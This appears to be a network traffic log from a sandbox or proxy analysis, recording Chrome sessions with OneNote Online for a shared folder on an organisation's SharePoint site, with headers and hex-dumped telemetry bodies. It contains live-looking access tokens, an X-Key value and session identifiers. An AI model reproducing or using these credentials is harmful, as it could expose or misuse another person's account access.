2024-07-16 11:07:04 UTC	564	IN	HTTP/1.1 302 Found Content-Length: 182 Content-Type: text/html; charset=utf-8 Location: /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true Set-Cookie: X-OFFICEFD: DU2PEPF00017832 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 9656FFF2123140ABB5EE8E66700BC72D Ref B: EWR311000107035 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close
2024-07-16 11:07:04 UTC	182	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 6f 2f 65 72 72 6f 72 2f 65 72 72 6f 72 2e 68 74 6d 6c 3f 61 73 70 78 65 72 72 6f 72 70 61 74 68 3d 2f 6f 2f 6e 75 6c 6c 26 61 6d 70 3b 44 61 74 61 55 72 6c 45 6e 61 62 6c 65 64 3d 74 72 75 65 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49792	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	3499	OUT	POST /o/proofing.ashx?WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtN [TRUNCATED] Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 26 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	26	OUT	Data Raw: 7b 22 41 70 70 49 64 22 3a 22 6f 6e 65 4e 6f 74 65 5f 4f 6e 6c 69 6e 65 22 7d Data Ascii: {"AppId":"oneNote_Online"}
2024-07-16 11:07:04 UTC	1369	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 17811 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-ROUTED-TO-TARGET-SERVER-PATH: WAC_WFE_AFFINITY_TARGET_URL X-CorrelationId: a67a81f8-9be5-474e-a0e5-52391b7d81cd X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-CorrelationId: a67a81f8-9be5-474e-a0e5-52391b7d81cd X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783D X-WacFrontEnd: DU2PEPF0001783E X-Powered-By: ARR/3.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: A47D62DAA0794F6B83C0768FF34624FD Ref B: EWR311000108051 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close
2024-07-16 11:07:04 UTC	1727	IN	Data Raw: 7b 22 53 75 70 70 6f 72 74 65 64 4c 61 6e 67 75 61 67 65 73 22 3a 5b 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 61 66 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 61 66 2d 5a 41 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 61 72 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 61 72 2d 41 45 22 2c 22 53 75 70 70 6f Data Ascii: {"SupportedLanguages":[{"LanguageId":"af","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"af-ZA","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"ar","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"ar-AE","Suppo
2024-07-16 11:07:04 UTC	775	IN	Data Raw: 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 62 6e 2d 42 44 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 62 6e 2d 49 4e 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 62 73 2d 4c 61 74 6e 2d 42 41 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 Data Ascii: xtUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"bn-BD","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"bn-IN","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"bs-Latn-BA","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"La
2024-07-16 11:07:04 UTC	8192	IN	Data Raw: 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 64 61 2d 44 4b 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 35 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 64 65 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 33 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 64 65 2d 41 54 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 37 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 Data Ascii: nit":1,"SupportedCritiqueTag":0},{"LanguageId":"da-DK","SupportedTextUnit":5,"SupportedCritiqueTag":0},{"LanguageId":"de","SupportedTextUnit":3,"SupportedCritiqueTag":0},{"LanguageId":"de-AT","SupportedTextUnit":7,"SupportedCritiqueTag":0},{"LanguageId":"
2024-07-16 11:07:04 UTC	7117	IN	Data Raw: 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 6c 74 2d 4c 54 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 6c 76 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 6c 76 2d 4c 56 22 2c 22 53 75 70 70 6f 72 74 65 64 54 65 78 74 55 6e 69 74 22 3a 31 2c 22 53 75 70 70 6f 72 74 65 64 43 72 69 74 69 71 75 65 54 61 67 22 3a 30 7d 2c 7b 22 4c 61 6e 67 75 61 67 65 49 64 22 3a 22 6d 69 22 2c 22 53 75 70 70 Data Ascii: upportedCritiqueTag":0},{"LanguageId":"lt-LT","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"lv","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"lv-LV","SupportedTextUnit":1,"SupportedCritiqueTag":0},{"LanguageId":"mi","Supp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49793	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	846	OUT	POST /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 122 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	122	OUT	Data Raw: 7b 22 74 79 70 65 22 3a 22 4a 53 41 50 49 5f 53 54 41 54 45 22 2c 22 70 61 79 6c 6f 61 64 4a 73 6f 6e 22 3a 22 7b 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 5c 22 3a 5c 22 4f 6e 65 4e 6f 74 65 5c 22 2c 5c 22 62 75 69 6c 64 5c 22 3a 5c 22 23 23 23 56 45 52 53 49 4f 4e 23 23 23 5c 22 2c 5c 22 73 74 61 74 65 5c 22 3a 5c 22 62 6f 6f 74 53 75 63 63 65 73 73 5c 22 7d 22 7d Data Ascii: {"type":"JSAPI_STATE","payloadJson":"{\"application\":\"OneNote\",\"build\":\"###VERSION###\",\"state\":\"bootSuccess\"}"}
2024-07-16 11:07:04 UTC	1039	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e499342c-dec8-4aa5-a764-63cb0607edff X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011816 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011816 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_onenoteslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 2448A11948C4482A827B308BF1E58E83 Ref B: EWR311000101017 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49790	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	3445	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 17969 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-AccessTokenTtl: 1721164012481 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 32 32 38 35 39 2c 22 4c 22 3a 5b 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 2d 31 35 39 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 61 70 70 43 74 6f 72 53 74 61 72 74 69 6e 67 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 38 33 39 36 33 37 31 2c 22 54 22 3a 2d 31 35 30 2c 22 4d 22 3a 22 41 46 72 61 6d 65 77 6f 72 6b 41 70 70 6c 69 63 61 74 69 6f 6e 3a 3a 49 6e 69 74 69 61 6c 69 7a 65 3a 3a 49 73 4d 65 65 74 69 6e 67 4c 69 76 65 53 65 73 73 69 6f 6e 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 49 64 3a 20 2e 20 49 73 4d 65 65 74 69 6e 67 50 72 65 73 65 6e 74 65 72 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 4f 72 Data Ascii: {"T":1721128022859,"L":[{"G":20025679,"T":-159,"M":"SetAppInitializationStatus: appCtorStarting","C":306,"D":50},{"G":508396371,"T":-150,"M":"AFrameworkApplication::Initialize::IsMeetingLiveSession: false. MeetingId: . IsMeetingPresenter: false. MeetingOr
2024-07-16 11:07:04 UTC	1585	OUT	Data Raw: 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 36 38 31 31 31 2c 22 54 22 3a 33 34 33 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 39 31 34 33 39 34 2c 22 54 22 3a 33 34 33 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 45 43 53 20 64 65 70 65 6e 64 65 6e 63 79 20 6c 6f 61 64 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 39 31 34 33 39 37 2c 22 54 22 3a 33 34 33 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 45 43 53 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 37 Data Ascii: ,"D":50},{"G":50668111,"T":343,"M":"Using floodgate latest version ","C":356,"D":50},{"G":507914394,"T":343,"M":"Using floodgate ECS dependency load","C":356,"D":50},{"G":507914397,"T":343,"M":"Using floodgate ECS latest version ","C":356,"D":50},{"G":377
2024-07-16 11:07:04 UTC	1648	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 2afc12ab-364f-4ba1-a027-9ec5f45c6863 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783A X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: DC5CF1F6E411467C8A954E612FA3F73D Ref B: EWR311000103027 Ref C: 2024-07-16T11:07:04Z Date: Tue, 16 Jul 2024 11:07:03 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49791	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:04 UTC	862	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 6468 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:07:04 UTC	6468	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 31 33 36 34 39 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 37 31 34 37 31 35 2c 22 54 22 3a 31 33 32 35 2c 22 4d 22 3a 22 52 65 63 65 69 76 65 64 20 6d 65 73 73 61 67 65 49 64 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 2c 20 63 6f 72 72 65 6c 61 74 69 6f 6e 3a 20 75 6e 64 65 66 69 6e 65 64 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 32 38 38 2c 22 54 22 3a 31 33 32 35 2c 22 4d 22 3a 22 50 72 6f 63 65 73 73 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 57 61 63 5f 41 70 70 42 6f 6f 74 53 74 61 74 65 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 35 37 31 34 32 37 31 2c 22 54 22 3a 31 33 32 35 2c 22 4d 22 3a 22 57 41 43 20 42 6f 6f 74 20 41 70 70 Data Ascii: {"T":1721128013649,"L":[{"G":595714715,"T":1325,"M":"Received messageId: Wac_AppBootState, correlation: undefined","C":379,"D":50},{"G":596464288,"T":1325,"M":"Processing message: Wac_AppBootState","C":379,"D":50},{"G":595714271,"T":1325,"M":"WAC Boot App
